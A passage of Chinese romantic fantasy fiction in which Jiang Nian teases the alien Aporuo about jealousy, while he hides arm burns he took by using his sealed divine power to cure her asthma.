一提到小肥啾,阿波若心里很不爽,“小肥啾我才懒得变呢,一个毛球有什么好看,你每次都摸她的头捏她的脸。”
“你是太平洋警察管得宽?我想摸就摸想捏就捏!”姜念好笑,“你吃醋啊?”
不会吧你真的吃歆玥的醋就因为我喜欢摸她头?她简直不敢置信,你不会是喜欢我吧?
膨的一声,阿波若心里像有个东西被戳中了。
大脑一片空白。
“我警告你这种玩笑不能乱开。虽然我花容月貌人见人爱,但你和我是什么关系?契约关系。时机一到你回你的阿波罗星,我过我的地球生活。你忘记了?”
没忘。
但她就那么想他回阿波罗星,不断提醒他。
阿波若整颗心沉得厉害。
他瞥开眼神,又是一副傲气嘴欠的模样:
“切,谁喜欢你了。”
谢天谢地。姜念合掌,心里一块大石落下。但奇怪的是,那种心里的轻松感比她想象中要淡得多。
肚子有些饿了,她端起那碗鸡丝白粥,除了味道有点淡其他马马虎虎还凑合。“你平时都穿短袖,今天怎么穿上长袖了?”边喝粥她边随口问道。
天气转冷许多,她都开始穿毛衣和大衣,阿波若始终短袖上身,还经常喊热,简直火娃本娃。
今天倒是破天荒穿长袖。
“你是太平洋警察管得宽?我想穿就穿。”阿波若学她讲话,转身出卧室。
欠欠得很。
姜念一个枕头朝他砸过去。
又砸他右小臂上,本来可以躲避开他却没有躲避。针刺的疼传来,可他眉头也没有皱一下,反而唇角翘起。
幸好穿了长袖,不然该吓到她了。
在衣袖的遮盖下,他左右两只小臂全是还未完全愈合的伤痕:
昨晚他为了救姜念,强行催动神力为她彻底拔除了哮喘的病根,并快速治好她的高烧不退。代价就是拔除时哮喘病的痛苦从姜念身上转移到他身上,同时他双手因反噬被灼伤,皮开肉绽。
依据星际行星法则,现在他的神力基本被封禁,若强行使用只会遭到反噬。他可以帮姜念除梦魇、利用光之疗愈为她调理身体,但不能为她拔出病根。
当时光明三叉戟提醒并试图阻止他,他还是毅然决然地做了。
他不后悔。
至少姜念再也不会受哮喘的痛苦了。
尽管她一点都不喜欢他,
甚至还讨厌他。